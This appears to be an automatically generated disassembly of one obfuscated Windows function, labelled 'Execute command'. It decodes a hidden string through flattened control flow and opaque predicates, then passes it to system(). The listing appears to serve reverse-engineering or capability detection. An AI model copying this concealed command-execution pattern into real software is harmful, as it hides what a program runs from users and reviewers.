Function at 0x14051c890
Capabilities:
Execute command

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rax, qword [0x140b74de8]
xor rax, rbp
mov qword [rbp], rax
mov eax, 0xf45eac05
lea r10, [rbp - 8]
mov ecx, 0xd55b30c3
mov edx, 0xd87dfc09
nop word cs:[rax + rax]
cmp eax, 0xf45eac04
jle 0x14051c920
cmp eax, 0x6c6dabdf
je 0x14051c984
cmp eax, 0x9f04cce
je 0x14051c970
cmp eax, 0xf45eac05
jne 0x14051c8d0
mov eax, dword [0x140b86ea0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov eax, 0x9f04cce
cmove eax, edx
cmp dword [0x140b86ea4], 0xa
cmovl eax, edx
jmp 0x14051c8d0
cmp eax, 0xd55b30c3
je 0x14051c97a
cmp eax, 0xd87dfc09
jne 0x14051c8d0
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x30], r10
mov rax, qword [rbp - 0x30]
mov eax, dword [0x140b86ea0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov eax, 0x9f04cce
cmove eax, ecx
cmp dword [0x140b86ea4], 0xa
cmovl eax, ecx
jmp 0x14051c8d0
mov eax, 0xd87dfc09
jmp 0x14051c8d0
mov eax, 0x6c6dabdf
jmp 0x14051c8d0
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x20], r10
mov edx, 0x82a66330
mov eax, 0xcb336bab
mov ecx, 0x3c68dc69
nop
cmp edx, 0x100bf667
jle 0x14051c9d0
cmp edx, 0x100bf668
je 0x14051ca0d
cmp edx, 0x2461cd7b
je 0x14051ca44
cmp edx, 0x3c68dc69
jne 0x14051c9a0
mov edx, 0x2461cd7b
jmp 0x14051c9a0
cmp edx, 0x82a66330
je 0x14051ca1e
cmp edx, 0xcb336bab
jne 0x14051c9a0
mov rdx, qword [rbp - 0x20]
mov dword [rdx], 0x394b5b55
mov edx, dword [0x140b86ea8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x100bf668
cmove edx, ecx
cmp dword [0x140b86eac], 0xa
cmovl edx, ecx
jmp 0x14051c9a0
mov rdx, qword [rbp - 0x20]
mov dword [rdx], 0x394b5b55
mov edx, 0xcb336bab
jmp 0x14051c9a0
mov edx, dword [0x140b86ea8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x100bf668
cmove edx, eax
cmp dword [0x140b86eac], 0xa
cmovl edx, eax
jmp 0x14051c9a0
mov edi, 0x1be7b743
mov r13d, 0x8ebebec4
mov r12d, 0x2a91a364
mov r11d, 0x84f39c78
mov r8d, 0x827c8d50
mov esi, 0x81ffef3f
jmp 0x14051ca9d
mov eax, dword [0x140b7e028]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x1f15118e
mov eax, 0x7f7a711f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmove edi, eax
cmp dword [0x140b7e02c], 0xa
cmovl edi, eax
cmp edi, 0x20b970b0
jg 0x14051cd40
cmp edi, 0xe37099a2
jg 0x14051cd90
cmp edi, 0xc9cf5250
jle 0x14051cdfe
cmp edi, 0xd1874ba9
je 0x14051cea6
cmp edi, 0xdeedb998
jne 0x14051cff4
mov r9, qword [rbp - 0x38]
mov edi, 0xbd29e379
jmp 0x14051caf0
mov edi, 0x827c8d50
nop dword [rax]
cmp edi, 0xa78bdbbf
jle 0x14051cb40
cmp edi, 0xf729ccac
jle 0x14051cba0
cmp edi, 0x2a91a363
jle 0x14051cc17
cmp edi, 0x2a91a364
je 0x14051cc4c
cmp edi, 0x46476a89
jne 0x14051caf0
mov r14d, dword [rbp - 0x18]
add r14d, 1
mov edi, 0xee3a24b9
jmp 0x14051caf0
cmp edi, 0x84f39c77
jg 0x14051cbe0
cmp edi, 0x806353a6
je 0x14051ccc9
cmp edi, 0x81ffef3f
je 0x14051ccdd
cmp edi, 0x827c8d50
jne 0x14051caf0
mov eax, dword [0x140b85588]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
mov edi, 0xa78bdbc0
cmove edi, r13d
cmp dword [0x140b8558c], 0xa
cmovl edi, r13d
jmp 0x14051caf0
cmp edi, 0xa78bdbc0
je 0x14051cae4
cmp edi, 0xbd29e379
je 0x14051cce7
cmp edi, 0xee3a24b9
jne 0x14051caf0
mov dword [rbp - 0x18], r14d
mov eax, dword [rbp - 0x18]
cmp eax, 4
mov edi, 0xf729ccad
cmovl edi, r11d
jmp 0x14051caf0
cmp edi, 0x84f39c78
je 0x14051ccf1
cmp edi, 0x8ebebec4
je 0x14051cd1a
cmp edi, 0xa502e7b5
jne 0x14051caf0
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov edi, 0x2a91a364
jmp 0x14051caf0
cmp edi, 0x234adb25
jne 0x14051cd27
mov eax, dword [0x140b85588]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
mov edi, 0xa78bdbc0
cmove edi, r8d
cmp dword [0x140b8558c], 0xa
cmovl edi, r8d
jmp 0x14051caf0
movsxd rdi, dword [rbp - 0x18]
movsxd rax, dword [rbp - 0x18]
imul rbx, rax, 0xffffffffa0a0a0a1
shr rbx, 0x20
add ebx, eax
mov r15d, ebx
shr r15d, 0x1f
sar ebx, 5
add ebx, r15d
imul ebx, ebx, 0x33
mov edx, eax
sub edx, ebx
mov ecx, 0xc9
sub ecx, edx
neg ebx
add eax, ebx
add eax, 0x36
and ecx, 0xd6
and eax, 0x29
or eax, ecx
xor al, byte [r9 + rdi]
xor al, 0xd6
mov byte [rbp - 9], al
lea rax, [rdi + rbp]
add rax, 0xfffffffffffffff8
mov qword [rbp - 0x20], rax
mov eax, dword [0x140b85588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xa502e7b5
cmove edi, esi
cmp dword [0x140b8558c], 0xa
cmovl edi, esi
jmp 0x14051caf0
movzx eax, byte [rbp - 9]
mov rcx, qword [rbp - 0x20]
mov byte [rcx], al
mov edi, 0x46476a89
jmp 0x14051caf0
mov edi, 0x806353a6
jmp 0x14051caf0
mov edi, 0x234adb25
jmp 0x14051caf0
mov eax, dword [0x140b85588]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
mov edi, 0xa502e7b5
cmove edi, r12d
cmp dword [0x140b8558c], 0xa
cmovl edi, r12d
jmp 0x14051caf0
mov edi, 0xee3a24b9
xor r14d, r14d
jmp 0x14051caf0
cmp edi, 0xf729ccad
jne 0x14051caf0
mov edi, 0xd1874ba9
jmp 0x14051ca9d
cmp edi, 0x6267c472
jg 0x14051cdd0
cmp edi, 0x4392183d
jg 0x14051ce2c
cmp edi, 0x20b970b1
je 0x14051cec4
cmp edi, 0x2e1a8cd5
jne 0x14051ca9d
mov eax, dword [0x140b7e028]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x5837e76b
mov eax, 0x65a0623d
jmp 0x14051ca90
cmp edi, 0x1be7b742
jg 0x14051ce4e
cmp edi, 0xe37099a3
je 0x14051ca68
cmp edi, 0xf40df438
jne 0x14051ca9d
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x48], rax
mov edi, 0x6267c473
jmp 0x14051ca9d
cmp edi, 0x743580c4
jg 0x14051ce70
cmp edi, 0x6267c473
je 0x14051ced2
cmp edi, 0x65a0623d
jne 0x14051ca9d
mov edi, 0x20b970b1
jmp 0x14051ca9d
cmp edi, 0x9b5d8b6e
je 0x14051cef0
cmp edi, 0xc34ce287
jne 0x14051ca9d
cmp byte [rbp - 0xa], 0
mov edi, 0x20b970b1
mov eax, 0x4392183e
cmovne edi, eax
jmp 0x14051ca9d
cmp edi, 0x4392183e
je 0x14051cefa
cmp edi, 0x5837e76b
jne 0x14051ca9d
mov edi, 0x2e1a8cd5
jmp 0x14051ca9d
cmp edi, 0x1be7b743
je 0x14051cf08
cmp edi, 0x1f15118e
jne 0x14051ca9d
mov edi, 0x7f7a711f
jmp 0x14051ca9d
cmp edi, 0x743580c5
je 0x14051cfbd
cmp edi, 0x7f7a711f
jne 0x14051ca9d
mov eax, dword [0x140b7e028]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x1f15118e
mov eax, 0xc34ce287
jmp 0x14051ca90
mov eax, dword [0x140b7e028]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x5837e76b
mov eax, 0x2e1a8cd5
jmp 0x14051ca90
mov qword [rbp - 0x40], r10
mov edi, 0xf40df438
jmp 0x14051ca9d
mov eax, dword [0x140b7e028]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b5d8b6e
mov eax, 0x743580c5
jmp 0x14051ca90
mov edi, 0x743580c5
jmp 0x14051ca9d
mov qword [rbp - 0x38], r10
mov edi, 0xdeedb998
jmp 0x14051ca9d
mov ebx, dword [0x140b85590]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
sete byte [rbp - 0xb]
mov edi, dword [0x140b85594]
mov ebx, 0x6d0dc81b
mov eax, 0x9c25779e
cmove ebx, eax
cmp edi, 0xa
setl byte [rbp - 9]
cmovl ebx, eax
mov edi, 0x3d543b19
nop
cmp edi, 0x5aad301f
jg 0x14051cf80
cmp edi, 0x874a2a27
je 0x14051cfdb
cmp edi, 0x9c25779e
je 0x14051cf9f
cmp edi, 0x3d543b19
jne 0x14051cf40
movzx eax, byte [rbp - 0xb]
cmp byte [rbp - 9], 0
mov edi, 0x6d0dc81b
mov ecx, 0x6c17fe35
cmovne edi, ecx
test al, al
cmovne edi, ecx
jmp 0x14051cf40
cmp edi, 0x5aad3020
je 0x14051cfa6
cmp edi, 0x6c17fe35
je 0x14051cfb5
cmp edi, 0x6d0dc81b
jne 0x14051cf40
mov edi, 0x6c17fe35
jmp 0x14051cf40
mov edi, 0x5aad3020
jmp 0x14051cf40
mov r9, qword [rbp - 0x18]
add r9, 3
mov edi, 0x874a2a27
jmp 0x14051cf40
mov qword [rbp - 0x18], r10
mov edi, ebx
jmp 0x14051cf40
mov eax, dword [0x140b7e028]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b5d8b6e
mov eax, 0xc9cf5251
jmp 0x14051ca90
mov qword [rbp - 0x20], r9
mov rax, qword [rbp - 0x20]
cmp byte [rax], 0
setne byte [rbp - 0xa]
mov edi, 0xe37099a3
jmp 0x14051ca9d
cmp edi, 0xc9cf5251
jne 0x14051ca9d
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.1406ad9c0
nop
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret